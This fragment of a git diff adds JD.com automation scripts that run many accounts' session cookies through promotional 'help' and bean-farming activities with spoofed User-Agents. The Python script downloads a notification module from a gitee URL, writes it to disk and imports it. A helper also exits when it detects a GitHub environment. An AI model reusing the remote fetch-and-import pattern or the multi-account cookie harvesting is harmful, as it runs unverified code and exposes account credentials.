= JSON.parse(data) +$.log(data.message) + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_qjd.py b/backUp/jd_qjd.py new file mode 100644 index 0000000..1edbffb --- /dev/null +++ b/backUp/jd_qjd.py @@ -0,0 +1,464 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -* +# 全民抢京豆(8.6-8.16) +''' +项目名称: JD-Script / jd_qjd +Author: Curtin +功能:全民抢京豆(8.6-8.16):https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html?has_native=0 + 满160豆需要20人助力,每个用户目前只能助力2次不同的用户。 +Date: 2021/7/3 上午10:02 +TG交流 https://t.me/topstyle996 +TG频道 https://t.me/TopStyle2021 +update: 2021.7.24 14:21 +建议cron: 0 0 6-16 8 * python3 jd_qjd.py +new Env('全民抢京豆 8.6-8.16'); +* 修复了助力活动不存在、增加了随机UA(如果未定义ua则启用随机UA) +* 新增推送 +* 修复0点不能开团 +* 兼容pin为中文转码编码 +''' +# print("全民抢京豆(7.22-7.31)--活动已结束\nTG交流 https://t.me/topstyle996\nTG频道 https://t.me/TopStyle2021") +# exit(0) +# ck 优先读取【JDCookies.txt】 文件内的ck 再到 ENV的 变量 JD_COOKIE='ck1&ck2' 最后才到脚本内 cookies=ck +import sys +import re +import string +import random +import os +import time +import json +from urllib.parse import unquote +cookies = '' +qjd_zlzh = ['Your JD_User', '买买买'] + +# Env环境设置 通知服务 +# export BARK='' # bark服务,苹果商店自行搜索; +# export SCKEY='' # Server酱的SCKEY; +# export TG_BOT_TOKEN='' # tg机器人的TG_BOT_TOKEN; +# export TG_USER_ID='' # tg机器人的TG_USER_ID; +# export TG_API_HOST='' # tg 代理api +# export TG_PROXY_IP='' # tg机器人的TG_PROXY_IP; +# export TG_PROXY_PORT='' # tg机器人的TG_PROXY_PORT; +# export DD_BOT_ACCESS_TOKEN='' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; +# export DD_BOT_SECRET='' # 钉钉机器人的DD_BOT_SECRET; +# export QQ_SKEY='' # qq机器人的QQ_SKEY; +# export QQ_MODE='' # qq机器人的QQ_MODE; +# export QYWX_AM='' # 企业微信;http://note.youdao.com/s/HMiudGkb +# export PUSH_PLUS_TOKEN='' # 微信推送Plus+ ; + +##### + +# 建议调整一下的参数 +# UA 可自定义你的,注意格式: jdapp;iPhone;10.0.4;13.1.1;93b4243eeb1af72d142991d85cba75c66873dca5;network/wifi;ADID/8679C062-A41A-4A25-88F1-50A7A3EEF34A;model/iPhone13,1;addressid/3723896896;appBuild/167707;jdSupportDarkMode/0 +UserAgent = '' +# 限制速度 (秒) +sleepNum = 0.1 + +try: + import requests +except Exception as e: + print(e, "\n缺少requests 模块,请执行命令安装:python3 -m pip install requests") + exit(3) +requests.packages.urllib3.disable_warnings() + +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep +t = time.time() +aNum = 0 +beanCount = 0 +userCount = {} +# 获取通知服务 + + +class msg(object): + def __init__(self, m): + self.str_msg = m + self.message() + + def message(self): + global msg_info + print(self.str_msg) + try: + msg_info = "{}\n{}".format(msg_info, self.str_msg) + except: + msg_info = "{}".format(self.str_msg) + sys.stdout.flush() + + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get(url) + if 'curtinlv' in response.text: + with open('sendNotify.py', "w+", encoding="utf-8") as f: + f.write(response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + + def main(self): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify() + try: + from sendNotify import send + except: + print("加载通知服务失败~") + else: + self.getsendNotify() + try: + from sendNotify import send + except: + print("加载通知服务失败~") + + ################### +msg("").main() +############## + + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except Exception as e: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + + +class getJDCookie(object): + # 适配各种平台环境ck + + def getckfile(self): + global v4f + curf = pwd + 'JDCookies.txt' + v4f = '/jd/config/config.sh' + ql_new = '/ql/config/env.sh' + ql_old = '/ql/config/cookie.sh' + if os.path.exists(curf): + with open(curf, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + return curf + else: + pass + if os.path.exists(ql_new): + print("当前环境青龙面板新版") + return ql_new + elif os.path.exists(ql_old): + print("当前环境青龙面板旧版") + return ql_old + elif os.path.exists(v4f): + print("当前环境V4") + return v4f + return curf + + # 获取cookie + def getCookie(self): + global cookies + ckfile = self.getckfile() + try: + if os.path.exists(ckfile): + with open(ckfile, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + if 'pt_key=' in cks and 'pt_pin=' in cks: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", + re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + if 'JDCookies.txt' in ckfile: + print("当前获取使用 JDCookies.txt 的cookie") + cookies = '' + for i in cks: + if 'pt_key=xxxx' in i: + pass + else: + cookies += i + return + else: + with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: + cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" + f.write(cks) + f.close() + if "JD_COOKIE" in os.environ: + if len(os.environ["JD_COOKIE"]) > 10: + cookies = os.environ["JD_COOKIE"] + print("已获取并使用Env环境 Cookie") + except Exception as e: + print(f"【getCookie Error】{e}") + + # 检测cookie格式是否正确 + def getUserInfo(self, ck, pinName, userNum): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + # resp = requests.get(url=url, + # headers=headers, timeout=60).json() + # print(resp) + # r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') + # result = r.findall(resp) + # userInfo = json.loads(result[0]) + # nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] + # return ck, nickname + return ck, ck + except Exception as e: + print(e) + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + + def iscookie(self): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + userNameList = [] + pinNameList = [] + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + print("您已配置{}个账号".format(len(result))) + u = 1 + for i in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(i) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = self.getUserInfo(i, pinName, u) + if nickname != False: + cookiesList.append(ck) + userNameList.append(nickname) + pinNameList.append(pinName) + else: + u += 1 + continue + u += 1 + if len(cookiesList) > 0 and len(userNameList) > 0: + return cookiesList, userNameList, pinNameList + else: + print("没有可用Cookie,已退出") + exit(3) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) + + +getCk = getJDCookie() +getCk.getCookie() +# 获取v4环境 特殊处理 +if os.path.exists(v4f): + try: + with open(v4f, 'r', encoding='utf-8') as f: + curenv = locals() + for i in f.readlines(): + r = re.compile( + r'^export\s(.*?)=[\'\"]?([\w\.\-@#!&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', re.M | re.S | re.I) + r = r.findall(i) + if len(r) > 0: + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs(i[1]) + except: + pass + +if "qjd_zlzh" in os.environ: + if len(os.environ["qjd_zlzh"]) > 1: + qjd_zlzh = os.environ["qjd_zlzh"] + qjd_zlzh = qjd_zlzh.replace('[', '').replace(']', '').replace( + '\'', '').replace(' ', '').split(',') + print("已获取并使用Env环境 qjd_zlzh:", qjd_zlzh) + + +def userAgent(): + """ + 随机生成一个UA + :return: + """ + if not UserAgent: + uuid = ''.join(random.sample( + '123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + iosVer = ''.join(random.sample( + ["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/8679C062-A41A-4A25-88F1-50A7A3EEF34A;model/iPhone{iPhone},1;addressid/3723896896;appBuild/167707;jdSupportDarkMode/0' + else: + return UserAgent + + +def getShareCode(ck): + global aNum + try: + # uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + v_num1 = ''.join(random.sample( + ["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join(random.sample(string.digits, 4)) + url1 = f'https://api.m.jd.com/client.action?functionId=signGroupHit&body=%7B%22activeType%22%3A2%7D&appid=ld&client=apple&clientVersion=10.0.6&networkType=wifi&osVersion=14.3&uuid=&jsonp=jsonp_' + \ + str(int(round(t * 1000))) + '_' + v_num1 + url = 'https://api.m.jd.com/client.action?functionId=signBeanGroupStageIndex&body=%7B%22monitor_refer%22%3A%22%22%2C%22rnVersion%22%3A%223.9%22%2C%22fp%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22monitor_source%22%3A%22bean_m_bean_index%22%7D&appid=ld&client=apple&clientVersion=&networkType=&osVersion=&uuid=&jsonp=jsonp_' + \ + str(int(round(t * 1000))) + '_' + v_num1 + head = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html?has_native=0', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'api.m.jd.com', + # 'User-Agent': 'Mozilla/5.0 (iPhone CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'User-Agent': userAgent(), + 'Accept-Language': 'zh-cn' + } + requests.get(url1, headers=head, verify=False, timeout=30) + resp = requests.get(url=url, headers=head, + verify=False, timeout=30).text + r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) + result = r.findall(resp) + jsonp = json.loads(result[0]) + try: + groupCode = jsonp['data']['groupCode'] + shareCode = jsonp['data']['shareCode'] + activityId = jsonp['data']['activityMsg']['activityId'] + sumBeanNumStr = int(jsonp['data']['sumBeanNumStr']) + except: + if aNum < 5: + aNum += 1 + return getShareCode(ck) + else: + groupCode = 0 + shareCode = 0 + sumBeanNumStr = 0 + aNum = 0 + activityId = 0 + aNum = 0 + return groupCode, shareCode, sumBeanNumStr, activityId + except Exception as e: + print(f"getShareCode Error", e) + + +def helpCode(ck, groupCode, shareCode, u, unum, user, activityId): + try: + v_num1 = ''.join(random.sample( + ["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join(random.sample(string.digits, 4)) + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': f'https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html?jklActivityId=115&source=SignSuccess&jklGroupCode={groupCode}&ad_od=1&jklShareCode={shareCode}', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'api.m.jd.com', + 'User-Agent': userAgent(), + 'Accept-Language': 'zh-cn' + } + url = 'https://api.m.jd.com/client.action?functionId=signGroupHelp&body=%7B%22activeType%22%3A2%2C%22groupCode%22%3A%22' + \ + str(groupCode) + '%22%2C%22shareCode%22%3A%22' + shareCode + \ + f'%22%2C%22activeId%22%3A%22{activityId}%22%2C%22source%22%3A%22guest%22%7D&appid=ld&client=apple&clientVersion=10.0.4&networkType=wifi&osVersion=13.7&uuid=&openudid=&jsonp=jsonp_{int(round(t * 1000))}_{v_num1}' + resp = requests.get(url=url, headers=headers, + verify=False, timeout=30).text + r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) + result = r.findall(resp) + jsonp = json.loads(result[0]) + helpToast = jsonp['data']['helpToast'] + pageFlag = jsonp['data']['pageFlag'] + if pageFlag == 0: + print(f"账号{unum}【{u}】助力失败! 原因:{helpToast}") + if '满' in helpToast: + print(f"## 恭喜账号【{user}】团已满,今日累计获得160豆") + return True + return False + else: + if '火' in helpToast: + print(f"账号{unum}【{u}】助力失败! 原因:{helpToast}") + else: + print(f"账号{unum}【{u}】{helpToast} , 您也获得1豆哦~") + return False + except Exception as e: + print(f"helpCode Error ", e) + + +def start(): + scriptName = '### 全民抢京豆-助力 ###' + print(scriptName) + global cookiesList, userNameList, pinNameList, ckNum, beanCount, userCount + cookiesList, userNameList, pinNameList = getCk.iscookie() + for ckname in qjd_zlzh: + try: + ckNum = userNameList.index(ckname) + except Exception as e: + try: + ckNum = pinNameList.index(unquote(ckname)) + except: + print(f"请检查被助力账号【{ckname}】名称是否正确?提示:助力名字可填pt_pin的值、也可以填账号名。") + continue + + print(f"### 开始助力账号【{userNameList[int(ckNum)]}】###") + groupCode, shareCode, sumBeanNumStr, activityId = getShareCode( + cookiesList[ckNum]) + if groupCode == 0: + msg(f"## {userNameList[int(ckNum)]} 获取互助码失败。请手动分享后再试~ 或建议早上再跑。") + continue + u = 0 + for i in cookiesList: + if i == cookiesList[ckNum]: + u += 1 + continue + result = helpCode( + i, groupCode, shareCode, userNameList[u], u+1, userNameList[int(ckNum)], activityId) + time.sleep(sleepNum) + if result: + break + u += 1 + groupCode, shareCode, sumBeanNumStr, activityId = getShareCode( + cookiesList[ckNum]) + userCount[f'{userNameList[ckNum]}'] = sumBeanNumStr + beanCount += sumBeanNumStr + print("\n-------------------------") + for i in userCount.keys(): + msg(f"账号【{i}】已抢京豆: {userCount[i]}") + msg(f"## 今日累计获得 {beanCount} 京豆") + try: + send(scriptName, msg_info) + except: + pass + + +if __name__ == '__main__': + start() diff --git a/backUp/jd_qqxing.js b/backUp/jd_qqxing.js new file mode 100644 index 0000000..bb49a5a --- /dev/null +++ b/backUp/jd_qqxing.js @@ -0,0 +1,655 @@ +/* +星系牧场 +活动入口:QQ星儿童牛奶京东自营旗舰店->星系牧场 +每次都要手动打开才能跑 不知道啥问题 +号1默认给我助力,后续接龙 2给1 3给2 + 19.0复制整段话 http:/J7ldD7ToqMhRJI星系牧场养牛牛,可获得DHA专属奶!%VAjYb8me2b!→去猄倲← +[task_local] +#星系牧场 +1 0-23/2 * * * jd_qqxing.js +*/ +const $ = new Env('QQ星系牧场'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +Exchange = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +$.shareuuid = "5e81094ee1d640b2996883b48d0c410a" + !(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i 星系牧场\n\n吹水群:https://t.me/wenmouxx`); + } else { + $.msg($.name, "", '星系牧场' + message) + } + } + })() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +// 更新cookie + +function updateCookie (resp) { + if (!resp?.headers['set-cookie']){ + return + } + let obj = {} + let cookieobj = {} + let cookietemp = cookie.split(';') + for (let v of cookietemp) { + const tt2 = v.split('=') + obj[tt2[0]] = v.replace(tt2[0] + '=', '') + } + for (let ck of resp['headers']['set-cookie']) { + const tt = ck.split(";")[0] + const tt2 = tt.split('=') + obj[tt2[0]] = tt.replace(tt2[0] + '=', '') + } + const newObj = { + ...cookieobj, + ...obj, + } + cookie = '' + for (let key in newObj) { + key && (cookie = cookie + `${key}=${newObj[key]};`) + } + // console.log(cookie, 'jdCookie') +} +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} +//genToken +function genToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: '&body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=73af724a6be5f3cb89bf934dfcde647f&st=1624887881842&sv=111', + headers: { + 'Host': 